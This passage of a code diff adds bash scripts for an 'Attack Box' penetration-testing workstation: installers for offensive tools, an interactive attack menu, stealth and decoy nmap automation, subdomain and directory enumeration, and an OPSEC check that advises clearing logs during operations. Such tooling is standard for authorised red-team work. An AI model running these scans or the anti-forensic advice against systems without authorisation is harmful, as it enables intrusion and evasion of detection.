+echo "Successful: $SUCCESS"
+echo "Failed: $FAILED"
+echo "Success rate: $(( SUCCESS * 100 / TOTAL ))%"
+echo ""
+echo "Installed Go tools:"
+ls -la "$GOPATH/bin/" || echo "No Go tools installed"
+echo ""
+echo "Go environment:"
+echo "GOPATH: $GOPATH"
+echo "Go version: $(go version 2>/dev/null || echo 'Go not found')"
+echo "Go executable: $(which go || echo 'Go not in PATH')"
+
+exit 0
@@ -0,0 +1,84 @@
+#!/bin/bash
+# Attack Box - Python Tools Installation Script
+# Installs security tools via pipx with enhanced feedback
+
+export PATH="/root/.local/bin:$PATH"
+
+echo "================================================================"
+echo "PYTHON TOOLS INSTALLATION STARTED"
+echo "================================================================"
+echo "Total tools to install: 29"
+echo "Each tool has a 5-minute timeout"
+echo "================================================================"
+
+TOOLS=(
+  "impacket"
+  "bloodhound"
+  "crackmapexec"
+  "netexec"
+  "droopescan"
+  "wpscan"
+  "arjun"
+  "subjack"
+  "sublist3r"
+  "theharvester"
+  "feroxbuster"
+  "dirsearch"
+  "sqlmap"
+  "wafw00f"
+  "dnsrecon"
+  "dnsgen"
+  "massdns"
+  "altdns"
+  "paramspider"
+  "linkfinder"
+  "xsstrike"
+  "scapy"
+  "pwntools"
+  "volatility3"
+  "ldapdomaindump"
+  "ldap3"
+  "responder"
+  "mitm6"
+  "enum4linux-ng"
+  "smbmap"
+)
+
+TOTAL=${#TOOLS[@]}
+CURRENT=0
+FAILED=0
+SUCCESS=0
+
+for tool in "${TOOLS[@]}"; do
+  CURRENT=$((CURRENT + 1))
+  echo ""
+  echo "[$CURRENT/$TOTAL] Installing $tool..."
+  echo "Progress: $(( CURRENT * 100 / TOTAL ))%"
+  echo "Started: $(date '+%H:%M:%S')"
+  
+  if timeout 300 pipx install --verbose "$tool" 2>&1; then
+    SUCCESS=$((SUCCESS + 1))
+    echo "✓ $tool installed successfully"
+  else
+    FAILED=$((FAILED + 1))
+    echo "✗ $tool installation failed or timed out"
+  fi
+  
+  echo "Completed: $(date '+%H:%M:%S')"
+  echo "Status: $SUCCESS successful, $FAILED failed"
+  echo "Remaining: $(( TOTAL - CURRENT )) tools"
+  echo "================================================================"
+done
+
+echo ""
+echo "PYTHON TOOLS INSTALLATION SUMMARY:"
+echo "=================================="
+echo "Total attempted: $TOTAL"
+echo "Successful: $SUCCESS"
+echo "Failed: $FAILED"
+echo "Success rate: $(( SUCCESS * 100 / TOTAL ))%"
+echo ""
+echo "Installed pipx tools:"
+pipx list
+
+exit 0
@@ -0,0 +1,392 @@
+#!/bin/bash
+# Manual Testing Menu for Attack Box
+# Interactive interface for manual penetration testing tasks
+
+set -e
+
+# Colors for output
+RED='\033[0;31m'
+GREEN='\033[0;32m'
+YELLOW='\033[1;33m'
+BLUE='\033[0;34m'
+PURPLE='\033[0;35m'
+CYAN='\033[0;36m'
+NC='\033[0m' # No Color
+
+# ASCII Banner
+show_banner() {
+    echo -e "${CYAN}"
+    cat << "EOF"
+    ╔═══════════════════════════════════════╗
+    ║           ATTACK BOX MENU             ║
+    ║        Manual Testing Interface       ║
+    ╚═══════════════════════════════════════╝
+EOF
+    echo -e "${NC}"
+}
+
+# Main menu
+show_main_menu() {
+    echo -e "${GREEN}========================================${NC}"
+    echo -e "${GREEN}    Attack Box Manual Testing Menu     ${NC}"
+    echo -e "${GREEN}========================================${NC}"
+    echo
+    echo -e "${BLUE}1.${NC}  Target Reconnaissance"
+    echo -e "${BLUE}2.${NC}  Network Scanning"
+    echo -e "${BLUE}3.${NC}  Web Application Testing"
+    echo -e "${BLUE}4.${NC}  Vulnerability Assessment"
+    echo -e "${BLUE}5.${NC}  Exploitation Framework"
+    echo -e "${BLUE}6.${NC}  Post-Exploitation"
+    echo -e "${BLUE}7.${NC}  Password Attacks"
+    echo -e "${BLUE}8.${NC}  Wireless Testing"
+    echo -e "${BLUE}9.${NC}  Social Engineering"
+    echo -e "${BLUE}10.${NC} OSINT Tools"
+    echo -e "${BLUE}11.${NC} Custom Scripts"
+    echo -e "${BLUE}12.${NC} Tool Status & Updates"
+    echo -e "${BLUE}13.${NC} Generate Reports"
+    echo -e "${BLUE}0.${NC}  Exit"
+    echo
+    echo -ne "${YELLOW}Select an option [0-13]: ${NC}"
+}
+
+# Reconnaissance menu
+recon_menu() {
+    clear
+    echo -e "${GREEN}========================================${NC}"
+    echo -e "${GREEN}       Reconnaissance Tools             ${NC}"
+    echo -e "${GREEN}========================================${NC}"
+    echo
+    echo -e "${BLUE}1.${NC}  Domain Enumeration (theHarvester)"
+    echo -e "${BLUE}2.${NC}  Subdomain Discovery (Subfinder + Amass)"
+    echo -e "${BLUE}3.${NC}  DNS Enumeration (dnsrecon)"
+    echo -e "${BLUE}4.${NC}  WHOIS Lookup"
+    echo -e "${BLUE}5.${NC}  Shodan Search"
+    echo -e "${BLUE}6.${NC}  Google Dorking (Pagodo)"
+    echo -e "${BLUE}7.${NC}  Certificate Transparency"
+    echo -e "${BLUE}8.${NC}  Automated Recon Script"
+    echo -e "${BLUE}0.${NC}  Back to Main Menu"
+    echo
+    echo -ne "${YELLOW}Select an option [0-8]: ${NC}"
+    
+    read -r choice
+    case $choice in
+        1) domain_enum ;;
+        2) subdomain_discovery ;;
+        3) dns_enum ;;
+        4) whois_lookup ;;
+        5) shodan_search ;;
+        6) google_dorking ;;
+        7) cert_transparency ;;
+        8) automated_recon ;;
+        0) return ;;
+        *) echo -e "${RED}Invalid option!${NC}"; sleep 2; recon_menu ;;
+    esac
+}
+
+# Network scanning menu
+network_menu() {
+    clear
+    echo -e "${GREEN}========================================${NC}"
+    echo -e "${GREEN}        Network Scanning Tools          ${NC}"
+    echo -e "${GREEN}========================================${NC}"
+    echo
+    echo -e "${BLUE}1.${NC}  Nmap Host Discovery"
+    echo -e "${BLUE}2.${NC}  Nmap Port Scan (Top 1000)"
+    echo -e "${BLUE}3.${NC}  Nmap Full Port Scan"
+    echo -e "${BLUE}4.${NC}  Nmap Service Detection"
+    echo -e "${BLUE}5.${NC}  Nmap Vulnerability Scripts"
+    echo -e "${BLUE}6.${NC}  Masscan Fast Scan"
+    echo -e "${BLUE}7.${NC}  Automated Port Scan Script"
+    echo -e "${BLUE}8.${NC}  Network Mapper (netdiscover)"
+    echo -e "${BLUE}0.${NC}  Back to Main Menu"
+    echo
+    echo -ne "${YELLOW}Select an option [0-8]: ${NC}"
+    
+    read -r choice
+    case $choice in
+        1) nmap_discovery ;;
+        2) nmap_port_scan ;;
+        3) nmap_full_scan ;;
+        4) nmap_service_detection ;;
+        5) nmap_vuln_scripts ;;
+        6) masscan_scan ;;
+        7) automated_port_scan ;;
+        8) network_discovery ;;
+        0) return ;;
+        *) echo -e "${RED}Invalid option!${NC}"; sleep 2; network_menu ;;
+    esac
+}
+
+# Web application testing menu
+web_menu() {
+    clear
+    echo -e "${GREEN}========================================${NC}"
+    echo -e "${GREEN}     Web Application Testing Tools      ${NC}"
+    echo -e "${GREEN}========================================${NC}"
+    echo
+    echo -e "${BLUE}1.${NC}  Directory/File Enumeration (Gobuster)"
+    echo -e "${BLUE}2.${NC}  Technology Detection (WhatWeb)"
+    echo -e "${BLUE}3.${NC}  Vulnerability Scanner (Nikto)"
+    echo -e "${BLUE}4.${NC}  Web Crawler (Hakrawler)"
+    echo -e "${BLUE}5.${NC}  Parameter Discovery (Arjun)"
+    echo -e "${BLUE}6.${NC}  SQL Injection (SQLMap)"
+    echo -e "${BLUE}7.${NC}  XSS Testing (XSStrike)"
+    echo -e "${BLUE}8.${NC}  Automated Web Enum Script"
+    echo -e "${BLUE}9.${NC}  Launch Burp Suite"
+    echo -e "${BLUE}0.${NC}  Back to Main Menu"
+    echo
+    echo -ne "${YELLOW}Select an option [0-9]: ${NC}"
+    
+    read -r choice
+    case $choice in
+        1) directory_enum ;;
+        2) tech_detection ;;
+        3) web_vuln_scan ;;
+        4) web_crawler ;;
+        5) param_discovery ;;
+        6) sql_injection ;;
+        7) xss_testing ;;
+        8) automated_web_enum ;;
+        9) launch_burp ;;
+        0) return ;;
+        *) echo -e "${RED}Invalid option!${NC}"; sleep 2; web_menu ;;
+    esac
+}
+
+# Vulnerability assessment menu
+vuln_menu() {
+    clear
+    echo -e "${GREEN}========================================${NC}"
+    echo -e "${GREEN}     Vulnerability Assessment Tools     ${NC}"
+    echo -e "${GREEN}========================================${NC}"
+    echo
+    echo -e "${BLUE}1.${NC}  Nuclei Scanner"
+    echo -e "${BLUE}2.${NC}  OpenVAS Scan"
+    echo -e "${BLUE}3.${NC}  SearchSploit (ExploitDB)"
+    echo -e "${BLUE}4.${NC}  CVE Search"
+    echo -e "${BLUE}5.${NC}  Vulnerability Database Lookup"
+    echo -e "${BLUE}6.${NC}  Custom Vulnerability Scripts"
+    echo -e "${BLUE}0.${NC}  Back to Main Menu"
+    echo
+    echo -ne "${YELLOW}Select an option [0-6]: ${NC}"
+    
+    read -r choice
+    case $choice in
+        1) nuclei_scan ;;
+        2) openvas_scan ;;
+        3) searchsploit_search ;;
+        4) cve_search ;;
+        5) vuln_db_lookup ;;
+        6) custom_vuln_scripts ;;
+        0) return ;;
+        *) echo -e "${RED}Invalid option!${NC}"; sleep 2; vuln_menu ;;
+    esac
+}
+
+# Functions for each tool category
+domain_enum() {
+    echo -e "${YELLOW}[*] Domain Enumeration with theHarvester${NC}"
+    echo -ne "Enter target domain: "
+    read -r domain
+    echo -e "${GREEN}[+] Running theHarvester against $domain${NC}"
+    theHarvester -d "$domain" -b all -l 500
+    echo -e "${BLUE}[*] Press Enter to continue...${NC}"
+    read -r
+    recon_menu
+}
+
+subdomain_discovery() {
+    echo -e "${YELLOW}[*] Subdomain Discovery${NC}"
+    echo -ne "Enter target domain: "
+    read -r domain
+    echo -e "${GREEN}[+] Running Subfinder...${NC}"
+    subfinder -d "$domain" -o "subdomains_$domain.txt"
+    echo -e "${GREEN}[+] Running Amass...${NC}"
+    amass enum -d "$domain" -o "amass_$domain.txt"
+    echo -e "${BLUE}[*] Results saved to subdomains_$domain.txt and amass_$domain.txt${NC}"
+    echo -e "${BLUE}[*] Press Enter to continue...${NC}"
+    read -r
+    recon_menu
+}
+
+nmap_port_scan() {
+    echo -e "${YELLOW}[*] Nmap Port Scan (Top 1000)${NC}"
+    echo -ne "Enter target IP/range: "
+    read -r target
+    echo -e "${GREEN}[+] Scanning $target...${NC}"
+    nmap -sS -T4 --top-ports 1000 -oN "nmap_top1000_$target.txt" "$target"
+    echo -e "${BLUE}[*] Results saved to nmap_top1000_$target.txt${NC}"
+    echo -e "${BLUE}[*] Press Enter to continue...${NC}"
+    read -r
+    network_menu
+}
+
+directory_enum() {
+    echo -e "${YELLOW}[*] Directory/File Enumeration${NC}"
+    echo -ne "Enter target URL: "
+    read -r url
+    echo -e "${GREEN}[+] Running Gobuster against $url${NC}"
+    gobuster dir -u "$url" -w /usr/share/wordlists/dirb/common.txt -o "gobuster_$(echo $url | sed 's|https\?://||g' | tr '/' '_').txt"
+    echo -e "${BLUE}[*] Press Enter to continue...${NC}"
+    read -r
+    web_menu
+}
+
+automated_recon() {
+    echo -e "${YELLOW}[*] Running Automated Reconnaissance Script${NC}"
+    echo -ne "Enter target domain/IP: "
+    read -r target
+    echo -e "${GREEN}[+] Executing recon automation script...${NC}"
+    if [ -f "/root/operator/tools/scripts/recon_automation.sh" ]; then
+        /root/operator/tools/scripts/recon_automation.sh "$target"
+    else
+        echo -e "${RED}[-] Recon automation script not found!${NC}"
+    fi
+    echo -e "${BLUE}[*] Press Enter to continue...${NC}"
+    read -r
+    recon_menu
+}
+
+automated_port_scan() {
+    echo -e "${YELLOW}[*] Running Automated Port Scan Script${NC}"
+    echo -ne "Enter target IP/range: "
+    read -r target
+    echo -e "${GREEN}[+] Executing port scan automation script...${NC}"
+    if [ -f "/root/operator/tools/scripts/port_scan_automation.sh" ]; then
+        /root/operator/tools/scripts/port_scan_automation.sh "$target"
+    else
+        echo -e "${RED}[-] Port scan automation script not found!${NC}"
+    fi
+    echo -e "${BLUE}[*] Press Enter to continue...${NC}"
+    read -r
+    network_menu
+}
+
+automated_web_enum() {
+    echo -e "${YELLOW}[*] Running Automated Web Enumeration Script${NC}"
+    echo -ne "Enter target URL: "
+    read -r url
+    echo -e "${GREEN}[+] Executing web enumeration automation script...${NC}"
+    if [ -f "/root/operator/tools/scripts/web_enum_automation.sh" ]; then
+        /root/operator/tools/scripts/web_enum_automation.sh "$url"
+    else
+        echo -e "${RED}[-] Web enumeration automation script not found!${NC}"
+    fi
+    echo -e "${BLUE}[*] Press Enter to continue...${NC}"
+    read -r
+    web_menu
+}
+
+# Tool status and updates
+tool_status() {
+    clear
+    echo -e "${GREEN}========================================${NC}"
+    echo -e "${GREEN}        Tool Status & Updates           ${NC}"
+    echo -e "${GREEN}========================================${NC}"
+    echo
+    
+    # Check key tools
+    tools=("nmap" "gobuster" "nuclei" "subfinder" "amass" "sqlmap" "nikto" "whatweb")
+    
+    for tool in "${tools[@]}"; do
+        if command -v "$tool" &> /dev/null; then
+            echo -e "${GREEN}[✓]${NC} $tool - Installed"
+        else
+            echo -e "${RED}[✗]${NC} $tool - Not Found"
+        fi
+    done
+    
+    echo
+    echo -e "${BLUE}[*] Press Enter to continue...${NC}"
+    read -r
+}
+
+# Generate reports
+generate_reports() {
+    clear
+    echo -e "${GREEN}========================================${NC}"
+    echo -e "${GREEN}         Generate Reports               ${NC}"
+    echo -e "${GREEN}========================================${NC}"
+    echo
+    
+    WORKSPACE="/root/operator"
+    DATE=$(date +%Y%m%d_%H%M%S)
+    REPORT_DIR="$WORKSPACE/reports/manual_testing_$DATE"
+    
+    mkdir -p "$REPORT_DIR"
+    
+    echo -e "${YELLOW}[*] Generating comprehensive report...${NC}"
+    
+    # Collect all scan results
+    find "$WORKSPACE" -name "*.txt" -type f -exec cp {} "$REPORT_DIR/" \; 2>/dev/null
+    find "$WORKSPACE" -name "*.html" -type f -exec cp {} "$REPORT_DIR/" \; 2>/dev/null
+    find "$WORKSPACE" -name "*.json" -type f -exec cp {} "$REPORT_DIR/" \; 2>/dev/null
+    
+    # Create summary report
+    cat > "$REPORT_DIR/summary_report.md" << EOF
+# Manual Testing Report
+**Generated:** $(date)
+**Operator:** $(whoami)
+
+## Engagement Summary
+This report contains results from manual penetration testing activities.
+
+## Files Included
+$(ls -la "$REPORT_DIR" | grep -v "^total")
+
+## Key Findings
+- Review individual tool outputs for detailed findings
+- Cross-reference results across multiple tools
+- Validate findings manually before reporting
+
+## Next Steps
+1. Analyze all collected data
+2. Prioritize findings by severity
+3. Prepare client deliverables
+4. Archive results securely
+EOF
+    
+    echo -e "${GREEN}[+] Report generated: $REPORT_DIR${NC}"
+    echo -e "${BLUE}[*] Press Enter to continue...${NC}"
+    read -r
+}
+
+# Main execution loop
+main() {
+    while true; do
+        clear
+        show_banner
+        show_main_menu
+        read -r choice
+        
+        case $choice in
+            1) recon_menu ;;
+            2) network_menu ;;
+            3) web_menu ;;
+            4) vuln_menu ;;
+            5) echo -e "${YELLOW}[*] Exploitation Framework - Launch Metasploit${NC}"; msfconsole ;;
+            6) echo -e "${YELLOW}[*] Post-Exploitation - Launch custom shells/tools${NC}"; sleep 2 ;;
+            7) echo -e "${YELLOW}[*] Password Attacks - Hydra, John, Hashcat${NC}"; sleep 2 ;;
+            8) echo -e "${YELLOW}[*] Wireless Testing - Aircrack-ng suite${NC}"; sleep 2 ;;
+            9) echo -e "${YELLOW}[*] Social Engineering - SET toolkit${NC}"; setoolkit ;;
+            10) echo -e "${YELLOW}[*] OSINT Tools - Various intelligence gathering tools${NC}"; sleep 2 ;;
+            11) echo -e "${YELLOW}[*] Custom Scripts - Run user-defined scripts${NC}"; sleep 2 ;;
+            12) tool_status ;;
+            13) generate_reports ;;
+            0) echo -e "${GREEN}[+] Goodbye!${NC}"; exit 0 ;;
+            *) echo -e "${RED}Invalid option! Please try again.${NC}"; sleep 2 ;;
+        esac
+    done
+}
+
+# Check if running as root
+if [[ $EUID -eq 0 ]]; then
+    echo -e "${YELLOW}[!] Running as root - be careful!${NC}"
+    sleep 2
+fi
+
+# Create operator structure if it doesn't exist
+mkdir -p "/root/operator/"{tools,scans,logs,loot,payloads,targets,screenshots,reports,notes,exploits,wordlists,pcaps}
+
+# Start the main menu
+main
@@ -0,0 +1,118 @@
+#!/bin/bash
+# OPSEC Status Check Script
+# Monitors operational security status for red team operations
+
+RED='\033[0;31m'
+GREEN='\033[0;32m'
+YELLOW='\033[1;33m'
+BLUE='\033[0;34m'
+NC='\033[0m' # No Color
+
+echo -e "${BLUE}=== OPERATIONAL SECURITY STATUS ===${NC}"
+echo ""
+
+# Check VPN Status
+echo -e "${BLUE}[*] VPN Status:${NC}"
+if pgrep openvpn > /dev/null 2>&1; then
+    echo -e "${GREEN}  ✓ OpenVPN is running${NC}"
+    VPN_INTERFACES=$(ip link show | grep -E "tun|tap" | awk -F: '{print $2}' | xargs)
+    if [ ! -z "$VPN_INTERFACES" ]; then
+        echo -e "${GREEN}  ✓ VPN interfaces active: $VPN_INTERFACES${NC}"
+    fi
+else
+    echo -e "${RED}  ✗ OpenVPN not detected${NC}"
+fi
+
+# Check Tor Status
+echo -e "\n${BLUE}[*] Tor Status:${NC}"
+if systemctl is-active tor >/dev/null 2>&1; then
+    echo -e "${GREEN}  ✓ Tor service is active${NC}"
+    if netstat -tuln 2>/dev/null | grep -q ":9050"; then
+        echo -e "${GREEN}  ✓ SOCKS proxy listening on 9050${NC}"
+    fi
+else
+    echo -e "${YELLOW}  - Tor service not active${NC}"
+fi
+
+# Check External IP
+echo -e "\n${BLUE}[*] External IP Check:${NC}"
+EXTERNAL_IP=$(curl -s --max-time 5 ifconfig.me 2>/dev/null)
+if [ ! -z "$EXTERNAL_IP" ]; then
+    echo -e "${GREEN}  ✓ External IP: $EXTERNAL_IP${NC}"
+else
+    echo -e "${RED}  ✗ Could not determine external IP${NC}"
+fi
+
+# Check DNS
+echo -e "\n${BLUE}[*] DNS Configuration:${NC}"
+DNS_SERVERS=$(cat /etc/resolv.conf | grep nameserver | awk '{print $2}' | xargs)
+echo -e "${GREEN}  ✓ DNS servers: $DNS_SERVERS${NC}"
+
+# Check for DNS leaks
+echo -e "\n${BLUE}[*] DNS Leak Test:${NC}"
+DNS_LEAK=$(dig +short myip.opendns.com @resolver1.opendns.com 2>/dev/null)
+if [ ! -z "$DNS_LEAK" ]; then
+    if [ "$DNS_LEAK" = "$EXTERNAL_IP" ]; then
+        echo -e "${GREEN}  ✓ No DNS leak detected${NC}"
+    else
+        echo -e "${YELLOW}  ! Potential DNS leak: $DNS_LEAK vs $EXTERNAL_IP${NC}"
+    fi
+else
+    echo -e "${YELLOW}  - DNS leak test failed${NC}"
+fi
+
+# Check Active Connections
+echo -e "\n${BLUE}[*] Active Network Connections:${NC}"
+ACTIVE_CONS=$(ss -tupln 2>/dev/null | grep -E "LISTEN|ESTAB" | wc -l)
+echo -e "${GREEN}  ✓ $ACTIVE_CONS active connections${NC}"
+
+# Check Suspicious Processes
+echo -e "\n${BLUE}[*] Process Security Check:${NC}"
+SUSPICIOUS_PROCS=$(ps aux | grep -iE "wireshark|tcpdump|ettercap" | grep -v grep | wc -l)
+if [ $SUSPICIOUS_PROCS -gt 0 ]; then
+    echo -e "${YELLOW}  ! $SUSPICIOUS_PROCS monitoring processes detected${NC}"
+else
+    echo -e "${GREEN}  ✓ No obvious monitoring processes${NC}"
+fi
+
+# Check SSH Keys
+echo -e "\n${BLUE}[*] SSH Key Security:${NC}"
+SSH_KEYS=$(find ~/.ssh -name "*.pub" 2>/dev/null | wc -l)
+echo -e "${GREEN}  ✓ $SSH_KEYS SSH public keys found${NC}"
+
+# Check System Logs
+echo -e "\n${BLUE}[*] Log Security:${NC}"
+AUTH_LOG_SIZE=$(wc -l /var/log/auth.log 2>/dev/null | awk '{print $1}')
+if [ ! -z "$AUTH_LOG_SIZE" ]; then
+    echo -e "${GREEN}  ✓ Auth log has $AUTH_LOG_SIZE entries${NC}"
+fi
+
+# Check Firewall Status
+echo -e "\n${BLUE}[*] Firewall Status:${NC}"
+if command -v ufw >/dev/null 2>&1; then
+    UFW_STATUS=$(ufw status 2>/dev/null | head -1)
+    echo -e "${GREEN}  ✓ UFW: $UFW_STATUS${NC}"
+fi
+
+if command -v iptables >/dev/null 2>&1; then
+    IPTABLES_RULES=$(iptables -L 2>/dev/null | grep -c "Chain")
+    echo -e "${GREEN}  ✓ iptables: $IPTABLES_RULES chains configured${NC}"
+fi
+
+echo ""
+echo -e "${BLUE}=== OPSEC CHECK COMPLETE ===${NC}"
+echo ""
+
+# Provide recommendations based on findings
+echo -e "${BLUE}[*] Recommendations:${NC}"
+if ! pgrep openvpn > /dev/null 2>&1; then
+    echo -e "${YELLOW}  • Consider using VPN for enhanced anonymity${NC}"
+fi
+
+if ! systemctl is-active tor >/dev/null 2>&1; then
+    echo -e "${YELLOW}  • Consider enabling Tor for additional anonymity${NC}"
+fi
+
+echo -e "${GREEN}  • Regularly monitor external IP changes${NC}"
+echo -e "${GREEN}  • Clear logs periodically during operations${NC}"
+echo -e "${GREEN}  • Use proxychains for sensitive network operations${NC}"
@@ -0,0 +1,153 @@
+#!/bin/bash
+# Automated Port Scanning Script for Attack Box
+# Usage: ./port_scan_automation.sh <target> [quick|full|stealth]
+
+set -e
+
+if [ $# -eq 0 ]; then
+    echo "Usage: $0 <target> [quick|full|stealth]"
+    echo "Example: $0 192.168.1.1 full"
+    echo "         $0 example.com quick"
+    exit 1
+fi
+
+TARGET="$1"
+SCAN_TYPE="${2:-quick}"
+WORKSPACE="/root/operator/scans/nmap/$TARGET"
+DATE=$(date +%Y%m%d_%H%M%S)
+
+# Colors for output
+RED='\033[0;31m'
+GREEN='\033[0;32m'
+YELLOW='\033[1;33m'
+BLUE='\033[0;34m'
+NC='\033[0m' # No Color
+
+echo -e "${GREEN}[+] Starting port scan for: $TARGET${NC}"
+echo -e "${BLUE}[*] Scan type: $SCAN_TYPE${NC}"
+
+# Create workspace
+mkdir -p "$WORKSPACE"
+cd "$WORKSPACE"
+
+# Create log file
+LOG_FILE="portscan_$DATE.log"
+echo "Port scan started at $(date)" > "$LOG_FILE"
+
+# Function to log and execute
+log_and_run() {
+    echo -e "${YELLOW}[*] $1${NC}"
+    echo "[$(date)] $1" >> "$LOG_FILE"
+    eval "$2" 2>&1 | tee -a "$LOG_FILE"
+}
+
+case $SCAN_TYPE in
+    "quick")
+        echo -e "${GREEN}[+] Quick Port Scan (Top 1000 ports)${NC}"
+        log_and_run "Nmap quick scan" "nmap -T4 -F $TARGET -oA nmap_quick_$DATE"
+        log_and_run "Rustscan quick" "rustscan -a $TARGET --ulimit 5000 -- -A"
+        ;;
+    
+    "full")
+        echo -e "${GREEN}[+] Full Port Scan (All 65535 ports)${NC}"
+        log_and_run "Nmap SYN scan all ports" "nmap -sS -T4 -p- $TARGET -oA nmap_syn_all_$DATE"
+        log_and_run "Nmap service detection on open ports" "nmap -sV -sC -T4 $TARGET -oA nmap_services_$DATE"
+        log_and_run "Nmap UDP scan top ports" "nmap -sU --top-ports 1000 $TARGET -oA nmap_udp_$DATE"
+        log_and_run "Masscan all ports" "masscan -p1-65535 $TARGET --rate=1000 -e tun0 2>/dev/null || echo 'Masscan failed - check interface'"
+        ;;
+    
+    "stealth")
+        echo -e "${GREEN}[+] Stealth Port Scan${NC}"
+        log_and_run "Nmap stealth SYN scan" "nmap -sS -T2 -f --source-port 53 $TARGET -oA nmap_stealth_$DATE"
+        log_and_run "Nmap decoy scan" "nmap -D RND:10 -T2 $TARGET -oA nmap_decoy_$DATE"
+        ;;
+    
+    *)
+        echo -e "${RED}[-] Invalid scan type. Use: quick, full, or stealth${NC}"
+        exit 1
+        ;;
+esac
+
+# Additional enumeration for common services
+echo -e "${GREEN}[+] Service-specific enumeration${NC}"
+
+# Check for common vulnerabilities
+log_and_run "Nmap vulnerability scripts" "nmap --script vuln $TARGET -oA nmap_vulns_$DATE"
+
+# Extract open ports for further enumeration
+if [ -f "nmap_*.gnmap" ]; then
+    OPEN_PORTS=$(grep "open" nmap_*.gnmap | grep -oP '\d+/open' | cut -d'/' -f1 | sort -n | uniq | tr '\n' ',')
+    echo -e "${BLUE}[*] Open ports found: $OPEN_PORTS${NC}"
+    
+    # Service-specific scans
+    if echo "$OPEN_PORTS" | grep -q "21"; then
+        log_and_run "FTP enumeration" "nmap --script ftp-* -p 21 $TARGET"
+    fi
+    
+    if echo "$OPEN_PORTS" | grep -q "22"; then
+        log_and_run "SSH enumeration" "nmap --script ssh-* -p 22 $TARGET"
+    fi
+    
+    if echo "$OPEN_PORTS" | grep -q "53"; then
+        log_and_run "DNS enumeration" "nmap --script dns-* -p 53 $TARGET"
+        if command -v dig &> /dev/null; then
+            log_and_run "DNS zone transfer attempt" "dig @$TARGET axfr"
+        fi
+    fi
+    
+    if echo "$OPEN_PORTS" | grep -E "(80|443|8080|8443)" &> /dev/null; then
+        log_and_run "HTTP enumeration" "nmap --script http-* -p 80,443,8080,8443 $TARGET"
+    fi
+    
+    if echo "$OPEN_PORTS" | grep -q "139\|445"; then
+        log_and_run "SMB enumeration" "nmap --script smb-* -p 139,445 $TARGET"
+        if command -v enum4linux &> /dev/null; then
+            log_and_run "enum4linux scan" "enum4linux $TARGET"
+        fi
+    fi
+    
+    if echo "$OPEN_PORTS" | grep -q "1433"; then
+        log_and_run "MSSQL enumeration" "nmap --script ms-sql-* -p 1433 $TARGET"
+    fi
+    
+    if echo "$OPEN_PORTS" | grep -q "3306"; then
+        log_and_run "MySQL enumeration" "nmap --script mysql-* -p 3306 $TARGET"
+    fi
+fi
+
+# Generate summary
+echo -e "${GREEN}[+] Port Scan Complete!${NC}"
+echo -e "${BLUE}[*] Results saved in: $WORKSPACE${NC}"
+echo -e "${BLUE}[*] Log file: $LOG_FILE${NC}"
+
+# Count open ports
+if ls nmap_*.gnmap 1> /dev/null 2>&1; then
+    TOTAL_OPEN=$(grep -h "open" nmap_*.gnmap | wc -l)
+    echo -e "${BLUE}[*] Total open ports found: $TOTAL_OPEN${NC}"
+fi
+
+# Generate simple report
+cat > "portscan_report.txt" << EOF
+Port Scan Report for $TARGET
+=============================
+Scan Type: $SCAN_TYPE
+Date: $(date)
+Workspace: $WORKSPACE
+
+Open Ports:
+$(grep -h "open" nmap_*.gnmap 2>/dev/null | head -20 || echo "No open ports found in gnmap files")
+
+Summary:
+- Scan completed successfully
+- Results saved in multiple formats (.nmap, .xml, .gnmap)
+- Log file: $LOG_FILE
+
+Next Steps:
+1. Review service versions for known vulnerabilities
+2. Run targeted service enumeration
+3. Check for default credentials
+4. Look for misconfigurations
+EOF
+
+echo -e "${GREEN}[+] Report generated: portscan_report.txt${NC}"
+echo "Port scan completed at $(date)" >> "$LOG_FILE"
@@ -0,0 +1,123 @@
+#!/bin/bash
+# Automated Reconnaissance Script for Attack Box
+# Usage: ./recon_automation.sh <target_domain>
+
+set -e
+
+if [ $# -eq 0 ]; then
+    echo "Usage: $0 <target_domain>"
+    echo "Example: $0 example.com"
+    exit 1
+fi
+
+TARGET="$1"
+WORKSPACE="/root/operator/scans/reachability/$TARGET"
+DATE=$(date +%Y%m%d_%H%M%S)
+
+# Colors for output
+RED='\033[0;31m'
+GREEN='\033[0;32m'
+YELLOW='\033[1;33m'
+BLUE='\033[0;34m'
+NC='\033[0m' # No Color
+
+echo -e "${GREEN}[+] Starting reconnaissance for: $TARGET${NC}"
+echo -e "${BLUE}[*] Creating workspace directory: $WORKSPACE${NC}"
+
+# Create workspace
+mkdir -p "$WORKSPACE"
+cd "$WORKSPACE"
+
+# Create log file
+LOG_FILE="recon_$DATE.log"
+echo "Reconnaissance started at $(date)" > "$LOG_FILE"
+
+# Function to log and execute
+log_and_run() {
+    echo -e "${YELLOW}[*] $1${NC}"
+    echo "[$(date)] $1" >> "$LOG_FILE"
+    eval "$2" 2>&1 | tee -a "$LOG_FILE"
+}
+
+# Subdomain enumeration
+echo -e "${GREEN}[+] Phase 1: Subdomain Enumeration${NC}"
+log_and_run "Running Subfinder" "subfinder -d $TARGET -o subdomains_subfinder.txt"
+log_and_run "Running Assetfinder" "assetfinder --subs-only $TARGET > subdomains_assetfinder.txt"
+log_and_run "Running Amass" "amass enum -passive -d $TARGET -o subdomains_amass.txt"
+
+# Combine and deduplicate subdomains
+log_and_run "Combining subdomain lists" "cat subdomains_*.txt | sort -u > all_subdomains.txt"
+
+# Check which subdomains are alive
+echo -e "${GREEN}[+] Phase 2: Checking Live Subdomains${NC}"
+log_and_run "Checking live subdomains with httprobe" "cat all_subdomains.txt | httprobe -c 50 > live_subdomains.txt"
+
+# Port scanning on live subdomains
+echo -e "${GREEN}[+] Phase 3: Port Scanning${NC}"
+log_and_run "Running Nmap on live subdomains" "nmap -T4 -iL live_subdomains.txt -oA nmap_scan"
+
+# Web technology detection
+echo -e "${GREEN}[+] Phase 4: Web Technology Detection${NC}"
+log_and_run "Running whatweb" "whatweb -i live_subdomains.txt -a 3 > whatweb_results.txt"
+
+# Screenshot and visual recon
+echo -e "${GREEN}[+] Phase 5: Visual Reconnaissance${NC}"
+if command -v aquatone &> /dev/null; then
+    log_and_run "Taking screenshots with Aquatone" "cat live_subdomains.txt | aquatone -out aquatone_report"
+fi
+
+# Directory bruteforcing
+echo -e "${GREEN}[+] Phase 6: Directory Enumeration${NC}"
+mkdir -p directory_enum
+while IFS= read -r url; do
+    if [[ $url == http* ]]; then
+        clean_url=$(echo "$url" | sed 's|http://||g' | sed 's|https://||g' | tr '/' '_')
+        log_and_run "Running gobuster on $url" "gobuster dir -u $url -w /usr/share/wordlists/dirb/common.txt -o directory_enum/gobuster_$clean_url.txt -q"
+    fi
+done < live_subdomains.txt
+
